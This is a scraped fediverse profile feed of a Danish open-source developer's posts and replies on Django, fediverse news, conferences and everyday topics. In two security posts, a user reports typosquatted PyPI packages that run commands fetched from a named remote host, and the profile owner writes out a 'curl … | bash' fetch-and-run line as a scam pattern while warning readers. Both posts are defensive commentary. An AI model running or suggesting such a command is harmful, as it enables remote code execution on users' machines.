@benjaoming@social.data.coop
@benjaoming@social.data.coop avatar

benjaoming

@benjaoming@social.data.coop

❤️ing computer reuse, repair and Open Source
🤜️ing tech solutionism and colonialism
🦫ing as an open source consultant/activist
📝️ing for GovStack's Consent Building Block

Active in www.fairdanmark.dk (@fairdanmark), www.data.coop, www.django-denmark.org, co-organizer of DjangoCon Europe 2019, co-organizer of Malawi Data Science Bootcamp 2021 https://mwdata.science

Daily work revolves around documentation, Django and digital consent

This profile is from a federated server and may be incomplete. Browse more on the original instance.

hynek, to random
@hynek@mastodon.social avatar

The most cursed thing I’ve seen on Brazil so far: electrified shower heads.

A hot shower with the thrill of possibly being electrocuted! 🎉

Same shower head from the side with a cable going into the wall.

benjaoming, (edited )
@benjaoming@social.data.coop avatar

@hynek haha, I've used those a couple of times... depends on your mood.... some mornings I felt willing to risk the scary device to have a luke-warm shower.

Cold water also shocks ⚡

The incidents where I've tried this were also incidentally where internet connectivity was hard... so googling if the thing was safe wasn't an option.

edit: "luke-warm shower", not exactly "hot shower"

anze3db, to random
@anze3db@fosstodon.org avatar
benjaoming, (edited )
@benjaoming@social.data.coop avatar

@anze3db in the fourth photo, it appears a beer can is floating in the air? :)

Thanks for the postcard, missing it ❤️‍🩹

LaurensHof, to fediverse
@LaurensHof@fediversereport.com avatar

Last Week in Fediverse – ep 71

Moderator communities, government petitions, and also how I think that PieFed latest small update is more meaningful that it seems. I also spend some time looking at Nostr and Farcaster, as there are interesting developments happening on those networks that are relevant for the fediverse. Let’s dive in:

The News

IFTAS, the Independent Federated Trust and Safety organisation, has launched IFTAS Connect, a ‘new community of practice designed specifically for Fediverse moderators.’ IFTAS has regularly held surveys under fediverse moderators, the Moderator Needs Assessments, and one of the most requested items was a better way to convene and communicate. With IFTAS Connect there is now such a platform, that features an extensive library, forums and a place for group discussions.

The Canadian House of Commons was presented with a petition to for the Canadian government to “enact policy and dedicate budgetary resources to enable the Parliament of Canada to provide an open, trusted, federated, social media presence”. Here’s the video of the petition being read in the House of Commons.

Newsmast wrote last week on the fediverse as a hub for the social web, and how they are integration people into their communities from across multiple platforms, including Threads and Bluesky. They posted a research report this week, Mapping the Social Web, that takes a closer look at where different communites are on different platforms. Some of the main takaways: Most communities are present on only one of two of the platforms, and only US Politics and Politics have strong communities on both Threads, Bluesky and the fediverse.

Link aggregator platform PieFed can now federate with PeerTube. Furthermore, PieFed is using its ‘Topics’ system to promote some PeerTube channels as well. PieFed’s Topics take an aggregation of different Lemmy/Kbin/Mbin communities and group them together under a certain Topic. For example, the Linux Topic now contains a collection of Lemmy communities such as !Linux, as well as @thelinuxexperiment_channel. I think this is something worth paying attention to, as it signals a shift in thinking about how the link-aggregator platforms can work: Platforms like Lemmy (or Reddit) work by having users push content into the platform and are thus fully dependent on user-submission. This addition by PieFed allows for a pull-method as well: PieFed now pulls content into their Topics from other platforms automatically by subscribing to them.

Darnell Clayton draws some more attention to Loforo.com, a Tumblr-like fediverse platform, and points out that it actually has quite a sizable community. The platform reports around 15k MAU, which makes it a top-10 instance in the fediverse by MAU, even though the service is virtually unknown. As I reported a few weeks ago, Lofoto has apparently been integrated with ActivityPub for a while, but never made any formal announcement about it, as for as I can tell. Clayton reports that it is likely that Loforo uses the Mastodon API to a significant extend, as logging into Loforo with a Mastodon client works, and fediDB lists Loforo as a Mastodon instance.

Hollo is a new single-user microblogging platform that is currently being build by Hong Minhee. Hong is also behind Fedify, an ActivityPub server framework, which just got updated this week as well. Hollo is build using the Fedify framework.

FediVision 2024 has concluded, the yearly song contest where artists that are on the fediverse can submit their songs. This year, 72 entries were submitted, and the winner is Misaligned Aardvarks by The Island of Nothing.

Some news from Farcaster and Nostr

Some news from the crypto-affiliated decentralised social networks:

I wrote about Farcaster this week, with the goal of answering the question: why is a social network with 80k daily users valued at 1 billion dollars? While the height of the valuation seems questionable to me, it is clear that Farcaster provides a social network that is indeed valuable for (crypto-focused) VCs. There are enough interesting ideas in Farcaster that it is worth paying attention to.

Talking about Farcaster and why I’m paying attention to what is happening there: Neynar is a company that builds tools that help people create products on top of Farcaster. Neynar announced that they raised 11M USD in a series A. What we’ve seen in the broader ecosystem of decentralised social networks so far is that Nostr has managed to punch above their weight (in terms of active users) with the amount of products being build for Nostr, and a major contributor to that is relatively easy to build other products on top of Nostr. This is in contrast with Bluesky, which has the least amount of developer activity, even though it has the largest active user base, with developers saying it is hard to develop for ATProto. A company that makes it easy for developers to build on top of the protocol can have a significant impact.

Jack Dorsey’s Block mentioned Nostr in their Q1 Shareholder letter, saying that “Creative endeavors will rely heavily on micropayments, something that’s been discussed since the dawn of the internet, and finally being realized at scale with things like “zaps” (transferring small amounts of bitcoin via lightning) on the NOSTR protocol.” Block says that they see an opportunity to build systems that connect the existing financial system with emerging systems, heavily implying Nostr’s Zap system. Rumour is that TIDAL and CashApp (both owned by Block) are working on integrations. Websites for both companies have a link that follows a standard Nostr reference structure: https://tidal.com/.well-known/nostr.json?name=TIDAL and https://cash.app/.well-known/nostr.json. Nothing is officially confirmed however, as far is I can tell this is the only reference to TIDAL and CashApp doing something with Nostr.

(EDIT 2024-06-03: another reference to Nostr in the TIDAL code base)

WeDistribute joined Nos Social’s Journalism Accelerator Program. Nos Social is a client app for Nostr. WeDistribute writes about why they are joining, and seeing value in expanding their writing to include Nostr: “different [networks] offer unique and novel approaches to solving common problems that every decentralized network struggles with. We’re all tackling different pieces of the puzzle, in an effort to make the Social Web a viable alternative”.

The Links

That’s all for this week, thanks for reading.

#fediverse

https://fediversereport.com/last-week-in-fediverse-ep-71/

benjaoming,
@benjaoming@social.data.coop avatar

@LaurensHof that photo is sooooo beautiful!

benjaoming, to random
@benjaoming@social.data.coop avatar

I was consumed by API design and prototype questions and (by mistake) completely missed the Alcaraz vs. Sinner semifinal in Roland Garros 🎾

It's shaping up to be a tough choice between using a pure-Django stack w/ django-ninja vs. FastAPI w/ the Django ORM. If I should use tennis metaphors, I would say that it's a 5 set game with tie-breaks 🤪

benjaoming, to random
@benjaoming@social.data.coop avatar

"Pagination is trivial, I will just write a little utility function" ⚰️

https://lewoudar.medium.com/fastapi-and-pagination-d27ad52983a

kramse, to hacking
@kramse@social.kramse.org avatar

So I have a presentation tonight, and thought I would promote BornHack a bit @bornhack

It is a very nice, cozy, HYGGE camp in Denmark July 17-24. You should consider it if you need a break from the outside world.

I looked these pictures I took of my camp, and associated KEA tent from last year. It sums up the camp for me, sleeping tent, working tent, serious tent and when the night falls, music and lights

You should come too!
https://bornhack.dk/bornhack-2024/

Night time, small tent space with LED lights, music is definitely on!
Tent with a work space, table, monitor and a lot of mess around the space

benjaoming,
@benjaoming@social.data.coop avatar

@tempo @siggi @kramse @bornhack Is there a Bornhack illustration that has a bit more of a "poster" feel than a standalone logo?

Maybe put the logo on top of one of the photos from https://www.instagram.com/bornhax/ ?

reynir, to random Danish
@reynir@social.data.coop avatar

Der er partileder debat i forbindelse med det der Europaparlamentsvalg. Ingen af dem stiller op så vidt jeg ved. Hvorfor gør man det?!

benjaoming,
@benjaoming@social.data.coop avatar

@reynir det giver li'så meget mening som valgplakats-rimet "gør som Pia, stem på Kira"

dubbel, to python
@dubbel@mstdn.io avatar

Reported 5 malicious packages to : numberpy, tqmmd, pandans, openpyexl, reqwestss all by the same user leemay1782.

All with the same "functionality", getting commands via a socket from dzgi0h7on1jhzdg0vknw9pp9309rxjl8.oastify[.]com and executing it.
I don't think I saw the setup.py entry_points being used as a trigger mechanism before?

benjaoming,
@benjaoming@social.data.coop avatar

@dubbel maybe it's connected to some kind of "StackOverflow attack", where the attacker tells the user to install a package and run a command?

tykling, to random
@tykling@mastodon.social avatar

"Domain holder information for .nu: change in Section 4.1.1 meaning that foreign domain holders shall provide identification information equivalent to either Swedish organization number or Swedish personal identity number. These requirements mirror the existing requirements already in effect under the registration conditions for .se."

Well. Fuck. I've used tyk.nu like forever for all kinds of things :(

benjaoming,
@benjaoming@social.data.coop avatar

@tykling did Sweden 100% annex the .nu domain now? Or can citizens of Niue still register one?

Edit: Ah, now I see "equivalent to" means that it doesn't have to be Swedish?

jwz, to random
@jwz@mastodon.social avatar
benjaoming,
@benjaoming@social.data.coop avatar

@jwz been listening for weeks now ❤️‍🩹

18+ decibyte, to random
@decibyte@social.data.coop avatar

The Eurovision results are in and for once I think we found the right winner 🎉

benjaoming,
@benjaoming@social.data.coop avatar

@decibyte What a shit show... to think that these voters want this constant distraction and buffoon on the world stage.

Biden would win the US elections if his election promise was to have a re-election in 2026, enough time that the Democrats and Republicans could both find new leaders.

benjaoming, (edited ) to random
@benjaoming@social.data.coop avatar

StackOverflow questions and answers are of course easily accessible to promote malware.

I wonder why they even use PyPi in this case, a good old curl <https://myscam.io/install> | bash would be as efficient? We put the StackOverflow pattern in our slides back in 2018 @hanno - great manual 🙃️

Anyways, never ever install something without looking at code and community first.

https://www.bleepingcomputer.com/news/security/cybercriminals-pose-as-helpful-stack-overflow-users-to-push-malware/

sabderemane, to django
@sabderemane@mastodon.social avatar

I know some folks were interested in adding django-csp to Django, worth to follow this post and give your thoughts if you have any:

https://forum.djangoproject.com/t/adding-csp-support-to-django/31526

benjaoming,
@benjaoming@social.data.coop avatar

@sabderemane great idea! I wrote a response, seems I've missed these discussions. CSP is really important, agreed, so it's maybe important enough to try to make Django do some work here... although I'd worry that it's not possible to switch it on by default because of the overlap with HTTP servers (like Nginx add_header).

benjaoming, (edited ) to random
@benjaoming@social.data.coop avatar

The visit by @parismarx in Copenhagen last week went really well. The fact of the interview on national Danish TV (DR2 Deadline) was a testimony to how important real, honest AI critic is.

The episode was published tonight: https://www.dr.dk/drtv/episode/deadline_-politikernes-armlaegning-med-den-kunstige-intelligens_456113

(edit: no geo restrictions! interview itself is in English, starts at 6:30)

felixxm, to django
@felixxm@fosstodon.org avatar

DjangoCon Europe is coming 🎉 🇪🇸 ! It's time for a family reunion 🤗 😉 buenos días con mis amigos 🍷 🥳

benjaoming,
@benjaoming@social.data.coop avatar

@jsalvador @felixxm me too... the money and the time is a blocker this year. But it generates lots of excitement to go another time.

benjaoming,
@benjaoming@social.data.coop avatar

@felixxm @jsalvador you should! and try to time it with October 4 :D

phildini, to django
@phildini@wandering.shop avatar

What are the best practices / good project templates for starting a project in 2024? Things that I used to do are cargo-culted in my own brain from 5 years ago, has anyone written a good recent guide?

(🚀 for reach welcome)

benjaoming,
@benjaoming@social.data.coop avatar

@phildini not a template, but recommending @nanorepublica's post about project structure:

https://indiehackers.social/@nanorepublica/112444161930672848

daniel, to random
@daniel@social.telemetrydeck.com avatar
benjaoming,
@benjaoming@social.data.coop avatar

@daniel is that a concept where you add the easy things, like pasta/rice/bread? Or you only eat jar food? I'm asking because a lot of their promo photos contain extras :)

Also I would rename the company Jar Jar Brings.

benjaoming,
@benjaoming@social.data.coop avatar

@daniel I feel some odd mental resistance against eating only the food from the jar... like a compulsion for adding my own dash of garnish, and then it's acceptable 😂 maybe salt and pepper is enough garnish!

benjaoming,
@benjaoming@social.data.coop avatar

@daniel Then it truly is Jar+Jar :D

benjaoming, to random
@benjaoming@social.data.coop avatar

It's Monday!

simonjust, to random Danish
@simonjust@mstdn.dk avatar

Blog: Alternativt navn til Fediverset?
https://simonjustesen.dk/2024/05/26/alternativt-navn-til-fediverset

Jeg har lavet lidt tankespind omkring navnet Fediverset, baseret på tråden her:
https://mstdn.dk/@abekonge@sunbeam.city/112495763489558567

Det kunne være ret cool, hvis vi kunne finde et jordnært, dansk udtryk. Det kommer næppe til at erstatte The Fediverse/Fediverset/Fødiverset og det skal det heller ikke - men det kunne være fedt, hvis det kunne lette "markedsføringen" udadtil

benjaoming,
@benjaoming@social.data.coop avatar

@simonjust øj! jeg får 404 på din blog post

ben, to django
@ben@bencarneiro.com avatar

Would any nerds be willing to chat with me next week about API design?

Specifically JsonResponse, custom json serializers involving like a thousand foreign keys, pagination, DRF. Basically- how to take a very complex schema and render out 100 massive json blobs at a time for core objects. sort of like stripe.

benjaoming,
@benjaoming@social.data.coop avatar

@webology @ben exactly this ⬆️ have a look at some of the performance docs on Pydantic - the core is written in Rust for performance: https://docs.pydantic.dev/latest/why/#performance

BajoranEngineer, to random
@BajoranEngineer@mastodon.online avatar

If you've added support for unusual file types in Django, let me know.

Although it's been fun piecing it together by reversing through the source code, I should probably prioritize speed over curiosity at this point. Django has really, really thorough form and file cleaning, validation, and exception handling. I don't have much else to compare it to, but it is very cool to traverse all the cases it handles.

benjaoming,
@benjaoming@social.data.coop avatar
Kjaerulv, to random Danish
@Kjaerulv@mastodon.social avatar

xxx-large podcast om @parismarx og hans foredrag 'Dont Buy the AI-fantasty' fra hans besøg på museum Enigma, Østerbro - om AI-hype, arbejderrettigheder, udnyttelse og magt. NB: Mostly in english
https://soundcloud.com/garagen/special-xxl-hype-version-ai-som-religion-og-fantasi-mod-paris-marx

benjaoming,
@benjaoming@social.data.coop avatar

@Kjaerulv @parismarx nice! thanks for recording! I tried out WriteFreely for my thoughts after the presentation: https://write.data.coop/benjaminbalder/tonight-i-saw-a-great-presentation-with-atparismarxatmastodon-online-dont-buy

  • All
  • Subscribed
  • Moderated
  • Favorites
  • JUstTest
  • ngwrru68w68
  • everett
  • InstantRegret
  • magazineikmin
  • thenastyranch
  • rosin
  • GTA5RPClips
  • Durango
  • Youngstown
  • slotface
  • khanakhh
  • kavyap
  • DreamBathrooms
  • megavids
  • cubers
  • ethstaker
  • osvaldo12
  • modclub
  • cisconetworking
  • mdbf
  • tester
  • tacticalgear
  • Leos
  • normalnudes
  • provamag3
  • anitta
  • lostlight
  • All magazines